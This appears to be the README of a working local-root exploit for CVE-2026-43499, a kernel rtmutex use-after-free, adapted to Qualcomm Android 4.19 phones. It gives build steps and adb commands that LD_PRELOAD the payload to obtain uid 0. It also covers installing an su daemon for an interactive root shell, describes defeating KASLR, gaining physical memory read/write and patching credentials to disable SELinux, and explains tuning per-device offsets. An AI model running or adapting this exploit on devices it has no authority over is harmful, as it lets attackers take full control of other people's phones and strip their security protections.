
CVE-2026-43499 (GhostLock) rtmutex remove_waiter() UAF local-root PoC adapted for Qualcomm Android 4.19 kernels (Redmi K40 / Snapdragon 870 class), LD_PRELOAD based
Local privilege escalation exploiting CVE-2026-43499 — an rtmutex
remove_waiter() bug that leaves a struct rt_mutex_waiter dangling on the
waiter's kernel stack (kernel/locking/rtmutex.c, CWE-416 use-after-free).
Adapted from
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) for a Qualcomm Android 4.19.x
vendor kernel family.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() proxy-lock rollback calls remove_waiter() which
operates on current instead of waiter->task — rb-tree dequeue without
pi_lock, dangling pi_blocked_on, leading to a kernel-stack UAF.
Affected through 5.10/5.15/6.1/6.6/6.12/6.18/7.0 fixed versions; 4.19 has
no backport (EOL), so 4.19.157-perf is affected.src/ adapted exploit sources (preload.so)
src/targets/oplus-4.19.157-perf/target.h per-device offset table (kallsyms-derived)
prebuilt/ compiled artifacts (aarch64)
adaptation-4.19.patch full diff vs. the upstream Pixel (6.x) code
Makefile, build.sh build entry points
configfs_read_file / configfs_write_bin_file are placed at .read/.write
fops slots (4.19 signatures), and the read primitive uses the simplified
count/page/ppos=0 fake-buffer layout/dev/ashmem) is absent on this kernel — prefix length 0selinux_blob_sizes does not exist on 4.19 → direct cred->security
(SELINUX_CRED_BLOB_OFF=0); struct seccomp has no filter_countASHMEM_MISC_FOPS = miscdevice.fops slot (ashmem_misc + 0x10)Linux / WSL with Android NDK:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # or: make PROJECT=oplus-4.19.157-perf
Outputs: prebuilt/preload.so (LD_PRELOAD payload) and an embedded
su_daemon PIE.
Requires an ADB shell (a normal, unprivileged adb shell is enough — the
exploit runs entirely unprivileged and escalates itself).
# 1. push the payload
adb push prebuilt/preload.so /data/local/tmp/
# 2. run the exploit against any command (here: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# expected on success: uid=0(root) gid=0(root) groups=...
# on failure the process exits 1 and the log below tells you where it stopped.
Optional one-liner variants:
# capture the exit status too
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interactive root shell (the exploit also installs an su daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
Every pr_* line is mirrored to disk with an immediate write()+fsync() so the
trail survives a kernel panic/reboot:
/sdcard/Download/log_<timestamp>.txt
Fallback paths if /sdcard is unavailable: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# after the run (even after a reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
Key log markers:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — payload loadedslide-kaslr-ok ... base=... — KASLR base recoveredpipe-physrw-summary ... root=1 ... — phys RW installeduid_before=... uid_after=0 ... selinux=1->0 — creds patchedUNVERIFIED before its first attempt — that
stage is the one to tune per device using this log.target.h and logged as
UNVERIFIED at runtime. Iterate on-device using the fsync log.CONFIG_STATIC_USERMODEHELPER=y on this build disables modprobe-path tricks;
the primary path is direct cred patching./proc/kallsyms) and /proc/slabinfo before deployment.Apache-2.0 (upstream: NebuSec/CyberMeowfia). For security research and authorized device rooting only. Use on hardware you own.